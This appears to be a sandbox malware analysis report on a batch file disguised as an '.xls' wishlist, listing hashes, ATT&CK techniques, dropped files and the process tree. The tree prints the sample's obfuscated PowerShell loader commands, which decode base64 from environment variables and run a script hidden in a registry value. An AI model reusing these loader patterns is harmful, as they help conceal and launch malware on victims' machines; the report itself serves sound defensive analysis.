d3e8b58038d6f274b4a2544871c6a96176b8bd63d2506d0c8d2bc7a8a9eba3d3

Analysis

max time kernel
148s
max time network
129s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/10/2026, 12:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
wishlist_IK_SKU_1030210-xls.bat
Size 4KB
Sample261017-phtffsez2n
SHA256 d3e8b58038d6f274b4a2544871c6a96176b8bd63d2506d0c8d2bc7a8a9eba3d3
MD5 a6117af8edc7c983674c64024bf97d70
SHA1 3fb28d510878401dafb06c006059026a644a7bef
SHA512 7d563a058e60df6b0148261c2d714da22be61bf5a94454ee45cb9270b31c4b0034d15dca1000bd292259b074010b378cde469e9fb732525d7e026e4e33587349
SSDEEP 96:Cv2Zs+kpdesT1Fk65kKQtvyXH9vqJh3F9hahuEopWzE3NhvPcnSnjJTLx:CvL+k1iJh3HhahvopT3PXcQVTLx
TLSH
T1D9A1F315D4F08B430EBDE9106518268312DDEBF08BF986AF85802AD2EE2F11B573D667
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3392	powershell.exe
10	2640	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3392	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5684	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3392	powershell.exe
3392	powershell.exe
2640	powershell.exe
2640	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	2640	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1012	conhost.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 5684 wrote to memory of 3392	5684	cmd.exe	90
PID 3392 wrote to memory of 4460	3392	powershell.exe	92
PID 4460 wrote to memory of 3856	4460	csc.exe	93
PID 1012 wrote to memory of 1316	1012	conhost.exe	96
PID 2808 wrote to memory of 2640	2808	conhost.exe	99
PID 2640 wrote to memory of 1608	2640	powershell.exe	100
PID 1608 wrote to memory of 1616	1608	csc.exe	101

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\wishlist_IK_SKU_1030210-xls.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W 1 -nop -c "$_d=[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:tenaghetkeuasmge667+$env:tenaghetjegmeahe25+$env:uwmgehas624uwmgehas+$env:uwmgehasftemasja576+$env:ftemasjakeuasmge896+$env:jegmeaheuwmgehas267+$env:ftemasjaftemasja719+$env:uwmgehasftemasja350));[scriptblock]::Create($_d).Invoke()"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3392
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3eccqa5b\3eccqa5b.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4460
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCF8B.tmp" "c:\Users\Admin\AppData\Local\Temp\3eccqa5b\CSC556D44F9556647F8ADBD3CD4DB37435A.TMP"
      4⤵
      PID:3856

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe
  2⤵
  PID:1316

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" --headless C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$ftemasjaftemasja224=694;$jegmeahetenaghet949='uwmgehasuwmgehas261';$zz=(gi ('HK'+'CU:\Software\jegmeahe677uwmgehas')).('Ge'+'tVa'+'lue').Invoke('jqq');$keuasmge570tenaghet=$null;$uwmgehasjegmeahe727=560;.([scriptblock]::Create($zz))"
1⤵
- Suspicious use of WriteProcessMemory
PID:2808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$ftemasjaftemasja224=694;$jegmeahetenaghet949='uwmgehasuwmgehas261';$zz=(gi ('HK'+'CU:\Software\jegmeahe677uwmgehas')).('Ge'+'tVa'+'lue').Invoke('jqq');$keuasmge570tenaghet=$null;$uwmgehasjegmeahe727=560;.([scriptblock]::Create($zz))"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2640
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kng50j1h\kng50j1h.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1608
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC0E0.tmp" "c:\Users\Admin\AppData\Local\Temp\kng50j1h\CSC638DADBF7BF94F5BA6FFFC717643E3A3.TMP"
      4⤵
      PID:1616

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e51a8ad234e0ca8bc37c15d85f952d05c93d9a0a462b4b259e324ed3a0fb3c82
MD5 5724723ea098a3560daa8d06595813d6
SHA1 8c3fd750688de830adfe335ff3186767809d8912
SHA512 bc028d403267265ceb789b61c1f30c0058df78cb9d2af6ce80cc6a81d02e160f95109cd33cf36ed660ad090d99f4680afb3bfb99b6c3bad6719f010cf8f7f9fd
TLSH
T125216637B3DC8610C88A403A10CEAC1436B687DB809ECEABBB84D544A42F699CE60260
MD5 SHA1 SHA512 TLSH

Submit Download

3eccqa5b.dll

Path C:\Users\Admin\AppData\Local\Temp\3eccqa5b\3eccqa5b.dll
Size 3KB
SHA256 54321a3c517594eb187780eacded9dcf82d0d003c54f12492f69046447a505b5
MD5 7b9ec92e42958a98906d920d95ca0213
SHA1 c5784a4d56be95966763feddd228b96fee895cbf
SHA512 f50cd34af38d934e44acc7abca9beb96d4807a320aba92d6fb4e00dc7001dd7c13825b9a6a434bf64420a034285b66c381558d5a1ef10cc58a16b075246e67a3
TLSH
T164712F1A8BE54A7BD4730734A9F303162AF4F8509B739F1B1984122D6CA1B642D76FB1
MD5 SHA1 SHA512 TLSH

Submit Download

RESC0E0.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESC0E0.tmp
Size 1KB
SHA256 e231dd5a9ed38860965c95e5463945045876f5a7952a1555cbc5f8d23d9de418
MD5 9b0e925bb17332813849a4702bba55b6
SHA1 10db533e9b1b6c508d017970a8c3e5e4295b3af0
SHA512 fc03860dbcbc5c62a0d5120126429e831fad86a157fa905ff4877276dd4bb9201ba126eeaee68bf80d58c410b6582cfc8516bac7544c1c1151bbbb84197b6152
TLSH
T1F221590593F8471FF0735731AAF6472BA669FD68EFB2539A898002292C41244DEA1E72
MD5 SHA1 SHA512 TLSH

Submit Download

RESCF8B.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESCF8B.tmp
Size 1KB
SHA256 831bb27b6e0e6ed413734a1ab16197bb83d03eaef1acd30fd2ad83c30b54b861
MD5 456c57b4b061e8fc2a855b1d6a3011c7
SHA1 7c92a93f5e064b17b81ddf18ff3686f6c22c3b08
SHA512 da15d50b7c5097246b316bceae03a6069ce0286b2137808dab1bb16efed526a9368f2195917784a6ed7fd6daac3a755c786637e47a012a2806c2af5adec8abaa
TLSH
T1FC218C0583E94B1AF0B3073269F6136F9674FD55EFA2A75B4540422D2C11504EFA1B72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_abcbkjen.kjn.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_abcbkjen.kjn.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

kng50j1h.dll

Path C:\Users\Admin\AppData\Local\Temp\kng50j1h\kng50j1h.dll
Size 3KB
SHA256 d300dc4039eceb1035efad7b2b28d485f2efdd26d347bc40b715aeef2e369d36
MD5 452bd24e88108823fc0f38c08baa02b3
SHA1 8e00579978845d04c4665585decaa012fd722c11
SHA512 b679a1f92c13319024a8a84690210e75be5447859b4bdbeba27f86ddd51f7acb992c408e2022909dcdd088ce78b2fad2e176460130caadc60d71f4b9faa4b5b5
TLSH
T154712F169BE44A6BD8720734AEF3031627F4F8509B735B1E598412386CA1B642D75FB1
MD5 SHA1 SHA512 TLSH

Submit Download

3eccqa5b.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\3eccqa5b\3eccqa5b.0.cs
Size 526B
SHA256 967aa5b151def1f2c5a34e0eec7dc871e387b940d6d81978212d4eb901eeec74
MD5 c558bda61d25ce7ca1ba0c3516de32d2
SHA1 38785aa0e057bef2b9cd7bb132e824da14ffe50c
SHA512 a9ad6acceee5a60904329aa4ab9941fc7996a7754191fca02d6805fe8dfb1b802a9911bb2fc9556d0720d87066438b417c331f1bd3471aed86a05e206a159292
TLSH
T164F054585761D72930C7892E8E97D16EF553E07113F82B004FAC67132E8604A62B6726
MD5 SHA1 SHA512 TLSH

Submit Download

3eccqa5b.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\3eccqa5b\3eccqa5b.cmdline
Size 369B
SHA256 0282216c51085f3e069739e309298382e555d88cd5d530d81f4143d55dfeb14c
MD5 db79cd4f30632dc887cf23ad12678730
SHA1 3d0b367e01f06eab30cef2260e8c3d8c85b701a6
SHA512 ac2a9159e87157323cc3cabdcc998043308e5654f44c66f06d45f5832547614a54797901ee32dfc663ad1f3e87867235c5de19c6873a0fd5eee5fa7b2a89c4f7
TLSH
T1DFE06F3E4247C2FD01EF100B22AAC4EC82BB878B29803F849440840DE0270052FD3782
MD5 SHA1 SHA512 TLSH

Submit Download

CSC556D44F9556647F8ADBD3CD4DB37435A.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\3eccqa5b\CSC556D44F9556647F8ADBD3CD4DB37435A.TMP
Size 652B
SHA256 78f926ed5eb2328899be07321305152784f0ee4bf66e375c9cc06a82f875e452
MD5 29df37a214655e3cd59f20e2c85ba625
SHA1 9f86d16d9e3861453dbcd1a3a5b70aae860872c1
SHA512 8c38081e36f028910ae3649a99a6262ac01013c08b1fa2c7f525546ca2d0e0ed3a6f3ba7e5260df9cda8d2a0b06447a9f1a888325ca166e1c1fbd714662262ea
TLSH
T1BDF05E0963F8420EF0F34B70BDF653A395A8BC65DE3297ED1440031D28649108A62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

CSC638DADBF7BF94F5BA6FFFC717643E3A3.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\kng50j1h\CSC638DADBF7BF94F5BA6FFFC717643E3A3.TMP
Size 652B
SHA256 aee1cd2cd219d9d153a1ebe345fbe0acb5b62838cc3624c0aee04e6f993b8faf
MD5 ebd33696d4fb38b07489cc89f22fdf05
SHA1 5093266bcac655890076a3ef7db785029f216ef9
SHA512 87c846ca0b98d41a511290b21f79b82aef054f73a4ab5fd2860a58374b9d1363e36cc7351f6212c4873c2f4a4079021211bbb39071394082f35d4a5534aa71e2
TLSH
T108F0540963F8020EF4F38B30BEF543639169BC64DE7253ED5940032928645108961F75
MD5 SHA1 SHA512 TLSH

Submit Download

kng50j1h.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\kng50j1h\kng50j1h.cmdline
Size 369B
SHA256 73226665cb90ae226a13badddf2173272d6e71b842b1b4afadac9504381e1479
MD5 bc2cc73fa9ac7c5f09810d64a8bca033
SHA1 a988a60806a406641f6fcdbe554b5cc8ac34701b
SHA512 f691d770958f61b06d77733adbe8618a12b0ec0a61024028a843b89711c88064b8a3e628e5daa1cfaaeb43eb9d33830e9148b840be9653d64dc0df9f4c657240
TLSH
T152E0682A9246C2BE95DB2047266BC6ACC3720A833D403F84E044440DE497001EFD1FD1
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2640-48-0x000002B459000000-0x000002B459008000-memory.dmp

Download

memory/3392-11-0x00007FF902D70000-0x00007FF903714000-memory.dmp

Download

memory/3392-32-0x00007FF902D70000-0x00007FF903714000-memory.dmp

Download

memory/3392-16-0x00007FF902D70000-0x00007FF903714000-memory.dmp

Download

memory/3392-15-0x00007FF902D70000-0x00007FF903714000-memory.dmp

Download

memory/3392-14-0x00007FF902D70000-0x00007FF903714000-memory.dmp

Download

memory/3392-30-0x000002AC69EC0000-0x000002AC69EC8000-memory.dmp

Download

memory/3392-13-0x00007FF902D70000-0x00007FF903714000-memory.dmp

Download

memory/3392-17-0x00007FF902D70000-0x00007FF903714000-memory.dmp

Download

memory/3392-12-0x00007FF902D70000-0x00007FF903714000-memory.dmp

Download

memory/3392-3-0x00007FF902EFF000-0x00007FF902F00000-memory.dmp

Download

memory/3392-10-0x00007FF902D70000-0x00007FF903714000-memory.dmp

Download

memory/3392-9-0x00007FF902D70000-0x00007FF903714000-memory.dmp

Download

memory/3392-8-0x00007FF902D70000-0x00007FF903714000-memory.dmp

Download

memory/3392-7-0x000002AC69E80000-0x000002AC69EA2000-memory.dmp

Download

memory/3392-4-0x00007FF902D70000-0x00007FF903714000-memory.dmp

Download